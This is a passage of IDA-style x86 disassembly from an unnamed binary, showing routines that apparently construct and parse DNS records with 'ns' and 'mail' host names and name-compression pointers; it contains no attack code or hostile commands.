		push	ebx
		push	eax
		mov	ecx, esi
		mov	[ebp+var_10], ebx
		call	sub_415397
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4155D0
		mov	eax, [edi+8]
		xor	ecx, ecx
		cmp	[eax], ebx
		jbe	short loc_4155A8


loc_41557F:				; CODE XREF: sub_4154AD+F9j
		xor	ebx, ebx
		cmp	[ebp+var_8], ebx
		jbe	short loc_4155A0
		lea	eax, [eax+ecx*4+4]


loc_41558A:				; CODE XREF: sub_4154AD+ECj
		mov	edx, [eax]
		cmp	edx, [ebp+ebx*4+var_418]
		jz	short loc_41559D
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jb	short loc_41558A
		jmp	short loc_4155A0
; ---------------------------------------------------------------------------


loc_41559D:				; CODE XREF: sub_4154AD+E6j
		and	dword ptr [eax], 0


loc_4155A0:				; CODE XREF: sub_4154AD+D7j
					; sub_4154AD+EEj
		mov	eax, [edi+8]
		inc	ecx
		cmp	ecx, [eax]
		jb	short loc_41557F


loc_4155A8:				; CODE XREF: sub_4154AD+D0j
		mov	ecx, edi
		call	sub_414526
		mov	eax, [edi+8]
		cmp	dword ptr [eax], 0
		jnz	short loc_4155D0
		mov	ecx, edi
		call	sub_4152CC
		push	edi
		call	sub_40D0B6
		pop	ecx
		push	[ebp+var_10]
		lea	ecx, [esi+8]
		call	sub_4041B2


loc_4155D0:				; CODE XREF: sub_4154AD+C7j
					; sub_4154AD+108j
		lea	eax, [esi+28h]
		push	eax
		call	ds:dword_4180E0
		jmp	loc_415503
sub_4154AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155DF	proc near		; CODE XREF: sub_415F7D+29p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	[edi+14h], bx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_1], 0
		jbe	loc_415701
		push	esi


loc_4155FE:				; CODE XREF: sub_4155DF+110j
		mov	eax, [edi+1Ch]
		mov	esi, ebx
		shl	esi, 2
		mov	eax, [eax+esi]
		mov	eax, [eax+100h]
		cmp	eax, 1
		jnz	loc_4156A9
		lea	ecx, [ebp+arg_0]
		call	sub_40DB48
		mov	eax, [edi+1Ch]
		push	dword ptr [eax+esi]
		call	ds:dword_41811C
		push	eax
		mov	eax, [edi+1Ch]
		push	dword ptr [eax+esi]
		call	ds:dword_41814C
		mov	eax, [edi+1Ch]
		mov	eax, [esi+eax]
		push	offset aNs	; "ns"
		push	eax
		call	sub_40CE77
		pop	ecx
		pop	ecx
		mov	ecx, [edi+1Ch]
		add	ecx, esi
		cmp	eax, [ecx]
		jnz	short loc_415680
		mov	eax, [ecx]
		mov	al, [eax+2]
		cmp	al, 2Eh
		jz	short loc_41566C
		movsx	eax, al
		push	eax
		call	sub_40CE2C
		test	eax, eax
		pop	ecx
		jz	short loc_415680


loc_41566C:				; CODE XREF: sub_4155DF+7Dj
		mov	ecx, [ebp+var_8]
		lea	eax, [ebp+arg_0]
		push	eax
		mov	eax, [edi+1Ch]
		push	dword ptr [eax+esi]
		call	sub_415185
		jmp	short loc_415695
; ---------------------------------------------------------------------------


loc_415680:				; CODE XREF: sub_4155DF+74j
					; sub_4155DF+8Bj
		mov	eax, [edi+1Ch]
		mov	esi, [esi+eax]
		test	esi, esi
		jz	short loc_415695
		push	0
		push	esi
		lea	ecx, [ebp+arg_0]
		call	sub_40DB5E


loc_415695:				; CODE XREF: sub_4155DF+9Fj
					; sub_4155DF+A9j
		mov	ecx, [ebp+var_8]
		push	0
		push	0
		push	[ebp+arg_0]
		call	sub_415397
		lea	ecx, [ebp+arg_0]
		jmp	short loc_4156DF
; ---------------------------------------------------------------------------


loc_4156A9:				; CODE XREF: sub_4155DF+33j
		cmp	eax, 2
		jz	short loc_4156B3
		cmp	eax, 6
		jnz	short loc_4156E8


loc_4156B3:				; CODE XREF: sub_4155DF+CDj
		lea	ecx, [ebp+var_C]
		call	sub_40DB48
		mov	ecx, [ebp+var_8]
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [edi+1Ch]
		push	dword ptr [eax+esi]
		call	sub_415185
		mov	ecx, [ebp+var_8]
		push	0
		push	0
		push	[ebp+var_C]
		call	sub_415397
		lea	ecx, [ebp+var_C]


loc_4156DF:				; CODE XREF: sub_4155DF+C8j
		test	eax, eax
		jnz	short loc_4156F7
		call	sub_40DB59


loc_4156E8:				; CODE XREF: sub_4155DF+D2j
		movzx	eax, word ptr [edi+14h]
		inc	ebx
		cmp	ebx, eax
		jl	loc_4155FE
		jmp	short loc_415700
; ---------------------------------------------------------------------------


loc_4156F7:				; CODE XREF: sub_4155DF+102j
		mov	[ebp+var_1], 1
		call	sub_40DB59


loc_415700:				; CODE XREF: sub_4155DF+116j
		pop	esi


loc_415701:				; CODE XREF: sub_4155DF+18j
		mov	al, [ebp+var_1]
		pop	edi
		pop	ebx
		leave
		retn	4
sub_4155DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_41570A	proc near		; CODE XREF: sub_415F7D+111p
					; sub_415F7D+163p

var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 0A0h
		push	ebx
		push	esi
		mov	esi, [ebp+6Ch+arg_0]
		test	esi, esi
		push	edi
		mov	[ebp+6Ch+var_4], ecx
		jz	loc_415D1A
		mov	ebx, [ebp+6Ch+arg_8]
		test	ebx, ebx
		jz	loc_415D1A
		mov	eax, [ebx+8]
		cmp	dword ptr [eax], 0
		jz	loc_415D1A
		mov	eax, [esi+1Ch]
		mov	ecx, [ebp+6Ch+arg_4]
		mov	eax, [eax+ecx*4]
		mov	eax, [eax+100h]
		dec	eax
		jz	loc_415CD3
		dec	eax
		jz	loc_415AFB
		sub	eax, 4
		jnz	loc_415D1A
		movzx	eax, word ptr [esi+16h]
		mov	ecx, [esi+20h]
		movzx	edi, ax
		inc	eax
		mov	[esi+16h], ax
		movzx	eax, ax
		shl	eax, 2
		test	ecx, ecx
		push	eax
		jnz	short loc_415784
		call	sub_40CC7F
		jmp	short loc_41578B
; ---------------------------------------------------------------------------


loc_415784:				; CODE XREF: sub_41570A+71j
		push	ecx
		call	sub_40CCAD
		pop	ecx


loc_41578B:				; CODE XREF: sub_41570A+78j
		pop	ecx
		xor	ebx, ebx
		push	114h
		inc	ebx
		push	ebx
		mov	[esi+20h], eax
		shl	edi, 2
		call	sub_40CC93
		mov	ecx, [esi+20h]
		mov	[edi+ecx], eax
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	[eax+104h], ebx
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		and	dword ptr [eax+108h], 0
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	dword ptr [eax+100h], 6
		mov	eax, [ebp+6Ch+arg_8]
		push	dword ptr [eax]
		mov	eax, [esi+20h]
		push	dword ptr [edi+eax]
		call	sub_40CD8E
		push	offset aNs	; "ns"
		call	sub_40CD83
		mov	ebx, eax
		push	offset aMail	; "mail"
		mov	[ebp+6Ch+var_14], ebx
		call	sub_40CD83
		push	0
		mov	[ebp+6Ch+arg_0], eax
		call	sub_40CFAE
		mov	ecx, eax
		mov	edx, eax
		and	ecx, 0FF0000h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		and	eax, 0FF00h
		shl	edx, 10h
		or	edx, eax
		shr	ecx, 8
		mov	eax, 5000000h
		mov	[ebp+6Ch+var_18], eax
		mov	[ebp+6Ch+var_1C], eax
		mov	[ebp+6Ch+var_10], eax
		mov	[ebp+6Ch+var_20], eax
		mov	eax, [ebp+6Ch+arg_0]
		shl	edx, 8
		or	ecx, edx
		mov	[ebp+6Ch+arg_4], ecx
		mov	ecx, [esi+20h]
		mov	ecx, [edi+ecx]
		lea	eax, [ebx+eax+1Ah]
		mov	[ecx+10Ch], ax
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		movzx	eax, word ptr [eax+10Ch]
		push	eax
		push	1
		call	sub_40CC93
		mov	ecx, [esi+20h]
		mov	ecx, [edi+ecx]
		mov	[ecx+110h], eax
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		mov	[eax], bl
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		push	ebx
		inc	eax
		push	offset aNs	; "ns"
		push	eax
		call	sub_40CCF7
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		inc	ebx
		mov	[ebp+6Ch+var_8], ebx
		mov	eax, [eax+110h]
		mov	byte ptr [ebx+eax], 0C0h
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		inc	ebx
		mov	byte ptr [ebx+eax], 0Ch
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	ecx, [eax+110h]
		mov	eax, [ebp+6Ch+arg_0]
		push	eax
		inc	ebx
		mov	[ebx+ecx], al
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		inc	ebx
		add	eax, ebx
		push	offset aMail	; "mail"
		push	eax
		call	sub_40CCF7
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		add	ebx, [ebp+6Ch+arg_0]
		push	4
		mov	byte ptr [ebx+eax], 0C0h
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		inc	ebx
		mov	byte ptr [ebx+eax], 0Ch
		lea	eax, [ebp+6Ch+arg_4]
		push	eax
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		inc	ebx
		add	eax, ebx
		push	eax
		call	sub_40CCF7
		add	esp, 48h
		push	4
		lea	eax, [ebp+6Ch+var_18]
		push	eax
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		add	ebx, 4
		add	eax, ebx
		push	eax
		call	sub_40CCF7
		push	4
		lea	eax, [ebp+6Ch+var_1C]
		push	eax
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		add	ebx, 4
		add	eax, ebx
		push	eax
		call	sub_40CCF7
		push	4
		lea	eax, [ebp+6Ch+var_10]
		push	eax
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		add	ebx, 4
		add	eax, ebx
		push	eax
		call	sub_40CCF7
		push	4
		lea	eax, [ebp+6Ch+var_20]
		push	eax
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		lea	eax, [eax+ebx+4]
		push	eax
		call	sub_40CCF7
		movzx	eax, word ptr [esi+18h]
		mov	ecx, [esi+24h]
		add	esp, 30h
		movzx	edi, ax
		inc	eax
		mov	[esi+18h], ax
		movzx	eax, ax
		shl	eax, 2
		test	ecx, ecx
		push	eax
		jnz	short loc_4159C1
		call	sub_40CC7F
		jmp	short loc_4159C8
; ---------------------------------------------------------------------------


loc_4159C1:				; CODE XREF: sub_41570A+2AEj
		push	ecx
		call	sub_40CCAD
		pop	ecx


loc_4159C8:				; CODE XREF: sub_41570A+2B5j
		pop	ecx
		xor	ebx, ebx
		push	114h
		inc	ebx
		push	ebx
		mov	[esi+24h], eax
		shl	edi, 2
		call	sub_40CC93
		mov	ecx, [esi+24h]
		mov	[edi+ecx], eax
		mov	eax, [esi+24h]
		mov	eax, [edi+eax]
		mov	[eax+104h], ebx
		mov	eax, [esi+24h]
		mov	ecx, [edi+eax]
		mov	eax, [ebp+6Ch+arg_8]
		mov	edx, [eax+4]
		mov	[ecx+108h], edx
		mov	ecx, [esi+24h]
		mov	ecx, [edi+ecx]
		mov	dword ptr [ecx+100h], 2
		push	dword ptr [eax]
		mov	eax, [esi+24h]
		push	dword ptr [edi+eax]
		call	sub_40CD8E
		mov	ecx, [esi+24h]
		mov	ebx, [ebp+6Ch+var_14]
		mov	ecx, [edi+ecx]
		lea	eax, [ebx+3]
		mov	[ecx+10Ch], ax
		mov	eax, [esi+24h]
		mov	eax, [edi+eax]
		movzx	eax, word ptr [eax+10Ch]
		push	eax
		push	1
		call	sub_40CC93
		mov	ecx, [esi+24h]
		mov	ecx, [edi+ecx]
		mov	[ecx+110h], eax
		mov	eax, [esi+24h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		mov	[eax], bl
		mov	eax, [esi+24h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		push	ebx
		mov	ebx, offset aNs	; "ns"
		inc	eax
		push	ebx
		push	eax
		call	sub_40CCF7
		mov	eax, [esi+24h]
		mov	eax, [edi+eax]
		mov	ecx, [eax+110h]
		mov	eax, [ebp+6Ch+var_8]
		mov	byte ptr [eax+ecx], 0C0h
		mov	ecx, [esi+24h]
		mov	ecx, [edi+ecx]
		mov	ecx, [ecx+110h]
		mov	byte ptr [ecx+eax+1], 0Ch
		movzx	eax, word ptr [esi+1Ah]
		mov	ecx, [esi+28h]
		add	esp, 24h
		movzx	edi, ax
		inc	eax
		mov	[esi+1Ah], ax
		movzx	eax, ax
		shl	eax, 2
		test	ecx, ecx
		push	eax
		jnz	short loc_415AC2
		call	sub_40CC7F
		jmp	short loc_415AC9
; ---------------------------------------------------------------------------


loc_415AC2:				; CODE XREF: sub_41570A+3AFj
		push	ecx
		call	sub_40CCAD
		pop	ecx


loc_415AC9:				; CODE XREF: sub_41570A+3B6j
		mov	[esi+28h], eax
		mov	eax, [ebp+6Ch+arg_8]
		pop	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+6Ch+var_A0]
		push	ebx
		push	offset aS_S	; "%s.%s"
		push	eax
		call	sub_40CE18
		mov	ecx, [ebp+6Ch+var_4]
		add	esp, 10h
		lea	eax, [ebp+6Ch+var_A0]
		push	eax
		push	[ebp+6Ch+arg_8]
		call	sub_4152DF
		mov	ecx, [esi+28h]
		jmp	loc_415D13
; ---------------------------------------------------------------------------


loc_415AFB:				; CODE XREF: sub_41570A+4Aj
		movzx	eax, word ptr [esi+16h]
		mov	ecx, [esi+20h]
		movzx	edi, ax
		add	eax, 7
		mov	[esi+16h], ax
		movzx	eax, ax
		shl	eax, 2
		test	ecx, ecx
		mov	[ebp+6Ch+arg_0], edi
		push	eax
		jnz	short loc_415B21
		call	sub_40CC7F
		jmp	short loc_415B28
; ---------------------------------------------------------------------------


loc_415B21:				; CODE XREF: sub_41570A+40Ej
		push	ecx
		call	sub_40CCAD
		pop	ecx


loc_415B28:				; CODE XREF: sub_41570A+415j
		mov	[esi+20h], eax
		movzx	eax, word ptr [esi+16h]
		xor	ebx, ebx
		cmp	edi, eax
		pop	ecx
		jge	loc_415C4F
		jmp	short loc_415B3F
; ---------------------------------------------------------------------------


loc_415B3C:				; CODE XREF: sub_41570A+53Fj
		mov	edi, [ebp+6Ch+arg_0]


loc_415B3F:				; CODE XREF: sub_41570A+430j
		push	114h
		push	1
		shl	edi, 2
		call	sub_40CC93
		mov	ecx, [esi+20h]
		mov	[edi+ecx], eax
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	dword ptr [eax+104h], 1
		mov	eax, [esi+20h]
		mov	ecx, [edi+eax]
		mov	eax, [ebp+6Ch+arg_8]
		mov	edx, [eax+4]
		mov	[ecx+108h], edx
		mov	ecx, [esi+20h]
		mov	ecx, [edi+ecx]
		mov	dword ptr [ecx+100h], 2
		push	dword ptr [eax]
		mov	eax, [esi+20h]
		push	dword ptr [edi+eax]
		call	sub_40CD8E
		add	esp, 10h
		test	ebx, ebx
		mov	ecx, offset aNs	; "ns"
		jz	short loc_415BA4
		mov	ecx, offset aNsD ; "ns%d"


loc_415BA4:				; CODE XREF: sub_41570A+493j
		lea	eax, [ebx+1]
		push	eax
		mov	[ebp+6Ch+arg_4], eax
		push	ecx
		lea	eax, [ebp+6Ch+var_C]
		push	eax
		call	sub_40CE18
		lea	eax, [ebp+6Ch+var_C]
		push	eax
		call	sub_40CD83
		mov	ecx, [esi+20h]
		mov	ecx, [edi+ecx]
		mov	ebx, eax
		lea	eax, [ebx+3]
		mov	[ecx+10Ch], ax
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		movzx	eax, word ptr [eax+10Ch]
		push	eax
		push	1
		call	sub_40CC93
		mov	ecx, [esi+20h]
		mov	ecx, [edi+ecx]
		mov	[ecx+110h], eax
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		mov	[eax], bl
		push	ebx
		lea	eax, [ebp+6Ch+var_C]
		push	eax
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		inc	eax
		push	eax
		call	sub_40CCF7
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		mov	byte ptr [ebx+eax+1], 0C0h
		mov	eax, [esi+20h]
		mov	eax, [edi+eax]
		mov	eax, [eax+110h]
		mov	byte ptr [eax+ebx+2], 0Ch
		movzx	eax, word ptr [esi+16h]
		mov	ebx, [ebp+6Ch+arg_4]
		add	esp, 24h
		inc	[ebp+6Ch+arg_0]
		cmp	[ebp+6Ch+arg_0], eax
		jl	loc_415B3C


loc_415C4F:				; CODE XREF: sub_41570A+42Aj
		movzx	eax, word ptr [esi+1Ah]
		mov	ecx, [esi+28h]
		movzx	edi, ax
		add	eax, 7
		mov	[esi+1Ah], ax
		movzx	eax, ax
		shl	eax, 2
		test	ecx, ecx
		push	eax
		jnz	short loc_415C72
		call	sub_40CC7F
		jmp	short loc_415C79
; ---------------------------------------------------------------------------


loc_415C72:				; CODE XREF: sub_41570A+55Fj
		push	ecx
		call	sub_40CCAD
		pop	ecx


loc_415C79:				; CODE XREF: sub_41570A+566j
		mov	[esi+28h], eax
		pop	ecx
		xor	ebx, ebx
		jmp	short loc_415CC9
; ---------------------------------------------------------------------------


loc_415C81:				; CODE XREF: sub_41570A+5C5j
		test	ebx, ebx
		mov	eax, [ebp+6Ch+arg_8]
		push	dword ptr [eax]
		jnz	short loc_415C9D
		lea	eax, [ebp+6Ch+var_A0]
		push	offset aNs_S	; "ns.%s"
		push	eax
		call	sub_40CE18
		add	esp, 0Ch
		jmp	short loc_415CB2
; ---------------------------------------------------------------------------


loc_415C9D:				; CODE XREF: sub_41570A+57Ej
		lea	eax, [ebx+1]
		push	eax
		lea	eax, [ebp+6Ch+var_A0]
		push	offset aNsD_S	; "ns%d.%s"
		push	eax
		call	sub_40CE18
		add	esp, 10h


loc_415CB2:				; CODE XREF: sub_41570A+591j
		mov	ecx, [ebp+6Ch+var_4]
		lea	eax, [ebp+6Ch+var_A0]
		push	eax
		push	[ebp+6Ch+arg_8]
		call	sub_4152DF
		mov	ecx, [esi+28h]
		mov	[ecx+edi*4], eax
		inc	edi
		inc	ebx


loc_415CC9:				; CODE XREF: sub_41570A+575j
		movzx	eax, word ptr [esi+1Ah]
		cmp	edi, eax
		jl	short loc_415C81
		jmp	short loc_415D16
; ---------------------------------------------------------------------------


loc_415CD3:				; CODE XREF: sub_41570A+43j
		movzx	eax, word ptr [esi+16h]
		movzx	edi, ax
		inc	eax
		mov	[esi+16h], ax
		call	sub_40CF34
		movzx	eax, word ptr [esi+16h]
		mov	ecx, [esi+20h]
		shl	eax, 2
		test	ecx, ecx
		push	eax
		jnz	short loc_415CFA
		call	sub_40CC7F
		jmp	short loc_415D01
; ---------------------------------------------------------------------------


loc_415CFA:				; CODE XREF: sub_41570A+5E7j
		push	ecx
		call	sub_40CCAD
		pop	ecx


loc_415D01:				; CODE XREF: sub_41570A+5EEj
		pop	ecx
		mov	ecx, [ebp+6Ch+var_4]
		push	0
		push	ebx
		mov	[esi+20h], eax
		call	sub_4152DF
		mov	ecx, [esi+20h]


loc_415D13:				; CODE XREF: sub_41570A+3ECj
		mov	[ecx+edi*4], eax


loc_415D16:				; CODE XREF: sub_41570A+5C7j
		mov	al, 1
		jmp	short loc_415D1C
; ---------------------------------------------------------------------------


loc_415D1A:				; CODE XREF: sub_41570A+16j
					; sub_41570A+21j ...
		xor	al, al


loc_415D1C:				; CODE XREF: sub_41570A+60Ej
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 6Ch
		leave
		retn	0Ch
sub_41570A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D26	proc near		; CODE XREF: sub_415F7D+124p
					; sub_415F7D+16Bp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_415D41
		mov	ecx, edi
		call	sub_4152CC
		push	edi
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_415D41:				; CODE XREF: sub_415D26+8j
		pop	edi
		pop	esi
		retn
sub_415D26	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D44	proc near		; CODE XREF: sub_416130+31p
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	ebp, [esi+28h]
		push	ebp
		call	ds:dword_4180DC
		lea	edi, [esi+8]
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_415D8B
		push	ebx


loc_415D5D:				; CODE XREF: sub_415D44+44j
		test	esi, esi
		jz	short loc_415D65
		mov	ebx, [esi]
		jmp	short loc_415D67
; ---------------------------------------------------------------------------


loc_415D65:				; CODE XREF: sub_415D44+1Bj
		xor	ebx, ebx


loc_415D67:				; CODE XREF: sub_415D44+1Fj
		test	ebx, ebx
		jz	short loc_415D79
		mov	ecx, ebx
		call	sub_4152CC
		push	ebx
		call	sub_40D0B6
		pop	ecx


loc_415D79:				; CODE XREF: sub_415D44+25j
		mov	ebx, [esi+4]
		push	esi
		mov	ecx, edi
		call	sub_4041B2
		test	ebx, ebx
		mov	esi, ebx
		jnz	short loc_415D5D
		pop	ebx


loc_415D8B:				; CODE XREF: sub_415D44+16j
		push	ebp
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415D44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D96	proc near		; CODE XREF: sub_416192+9Dp
					; sub_416254+75p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, ecx
		cmp	[edi+4], ebx
		mov	[ebp+var_18], edi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], ebx
		jz	loc_415F76
		mov	ecx, [edi+4]
		mov	eax, [ecx]
		lea	edx, [ebp+var_28]
		push	edx
		call	dword ptr [eax+4]
		test	al, al
		jz	loc_415F62
		mov	eax, [ebp+var_24]
		mov	[ebp+var_8], eax
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_414FEB
		test	al, al
		jz	loc_415F62
		mov	esi, [ebp+var_28]
		push	4
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_40CCF7
		add	esp, 0Ch
		add	esi, 4
		cmp	[ebp+var_1C], ebx
		mov	[ebp+var_14], ebx
		ja	short loc_415E1F


loc_415E01:				; CODE XREF: sub_415D96+1BFj
		mov	eax, [ebp+var_28]
		cmp	eax, ebx
		jz	short loc_415E15
		push	eax
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], ebx
		call	sub_40CCC5
		pop	ecx


loc_415E15:				; CODE XREF: sub_415D96+70j
		mov	al, 1
		jmp	loc_415F78
; ---------------------------------------------------------------------------


loc_415E1C:				; CODE XREF: sub_415D96+1B9j
		mov	edi, [ebp+var_18]


loc_415E1F:				; CODE XREF: sub_415D96+69j
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_414FEB
		test	al, al
		jz	loc_415F62
		mov	al, [esi]
		mov	[ebp+var_1], al
		movzx	eax, al
		push	eax
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		inc	esi
		call	sub_414FEB
		test	al, al
		jz	loc_415F62
		lea	ecx, [ebp+var_C]
		call	sub_40DB48
		movzx	eax, [ebp+var_1]
		push	eax
		push	esi
		lea	ecx, [ebp+var_C]
		call	sub_40DB5E
		add	esi, [ebp+var_10]
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_414FEB
		test	al, al
		jz	loc_415F5A
		push	4
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_40CCF7
		add	esp, 0Ch
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		add	esi, 4
		call	sub_414FEB
		test	al, al
		jz	loc_415F5A
		mov	dl, [esi]
		movzx	eax, dl
		shl	eax, 2
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		inc	esi
		call	sub_414FEB
		test	al, al
		jz	loc_415F5A
		movzx	edi, dl
		xor	ecx, ecx
		push	4
		pop	edx
		mov	eax, edi
		mul	edx
		seto	cl
		neg	ecx
		or	ecx, eax
		push	ecx
		call	sub_40D0BB
		pop	ecx
		xor	ecx, ecx
		cmp	edi, ebx
		mov	[ebp+var_10], eax
		jbe	short loc_415F1E


loc_415EE9:				; CODE XREF: sub_415D96+184j
		mov	eax, [esi]
		mov	edx, eax
		and	edx, 0FF0000h
		mov	ebx, eax
		shr	ebx, 10h
		or	edx, ebx
		mov	ebx, eax
		shl	ebx, 10h
		and	eax, 0FF00h
		or	ebx, eax
		mov	eax, [ebp+var_10]
		shr	edx, 8
		shl	ebx, 8
		or	edx, ebx
		add	esi, 4
		mov	[eax+ecx*4], edx
		inc	ecx
		cmp	ecx, edi
		jb	short loc_415EE9
		xor	ebx, ebx


loc_415F1E:				; CODE XREF: sub_415D96+151j
		push	[ebp+var_10]
		mov	ecx, [ebp+var_18]
		push	edi
		push	[ebp+var_20]
		push	[ebp+var_C]
		call	sub_41527E
		cmp	[ebp+var_10], ebx
		jz	short loc_415F3E
		push	[ebp+var_10]
		call	sub_40D0B6
		pop	ecx


loc_415F3E:				; CODE XREF: sub_415D96+19Dj
		lea	ecx, [ebp+var_C]
		call	sub_40DB59
		inc	[ebp+var_14]
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_1C]
		jb	loc_415E1C
		jmp	loc_415E01
; ---------------------------------------------------------------------------


loc_415F5A:				; CODE XREF: sub_415D96+E6j
					; sub_415D96+10Dj ...
		lea	ecx, [ebp+var_C]
		call	sub_40DB59


loc_415F62:				; CODE XREF: sub_415D96+2Dj
					; sub_415D96+48j ...
		mov	eax, [ebp+var_28]
		cmp	eax, ebx
		jz	short loc_415F76
		push	eax
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], ebx
		call	sub_40CCC5
		pop	ecx


loc_415F76:				; CODE XREF: sub_415D96+19j
					; sub_415D96+1D1j
		xor	al, al


loc_415F78:				; CODE XREF: sub_415D96+81j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7D	proc near		; CODE XREF: sub_416254+A0p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	ebx, ecx
		push	[ebp+arg_0]
		lea	ecx, [ebp+arg_4+3]
		or	edi, 0FFFFFFFFh
		call	sub_414B68
		mov	esi, eax
		test	esi, esi
		jz	loc_416127
		push	esi
		mov	ecx, ebx
		call	sub_4155DF
		test	al, al
		jz	loc_41611E
		xor	eax, eax
		cmp	[esi+14h], ax
		mov	[esi+16h], ax
		mov	[esi+20h], eax
		mov	[ebp+arg_0], eax
		jbe	loc_416105


loc_415FC9:				; CODE XREF: sub_415F7D+182j
		mov	edi, [ebp+arg_0]
		mov	eax, [esi+1Ch]
		shl	edi, 2
		mov	eax, [edi+eax]
		mov	eax, [eax+100h]
		cmp	eax, 2
		jz	loc_4160AB
		cmp	eax, 6
		jz	loc_4160AB
		cmp	eax, 1
		jnz	loc_4160F5
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		mov	eax, [esi+1Ch]
		push	dword ptr [edi+eax]
		call	ds:dword_41811C
		push	eax
		mov	eax, [esi+1Ch]
		push	dword ptr [edi+eax]
		call	ds:dword_41814C
		mov	eax, [esi+1Ch]
		mov	eax, [edi+eax]
		push	offset aNs	; "ns"
		push	eax
		call	sub_40CE77
		pop	ecx
		pop	ecx
		mov	ecx, [esi+1Ch]
		add	ecx, edi
		cmp	eax, [ecx]
		jnz	short loc_41605D
		mov	eax, [ecx]
		mov	al, [eax+2]
		cmp	al, 2Eh
		jz	short loc_41604A
		movsx	eax, al
		push	eax
		call	sub_40CE2C
		test	eax, eax
		pop	ecx
		jz	short loc_41605D


loc_41604A:				; CODE XREF: sub_415F7D+BDj
		lea	eax, [ebp+var_4]
		push	eax
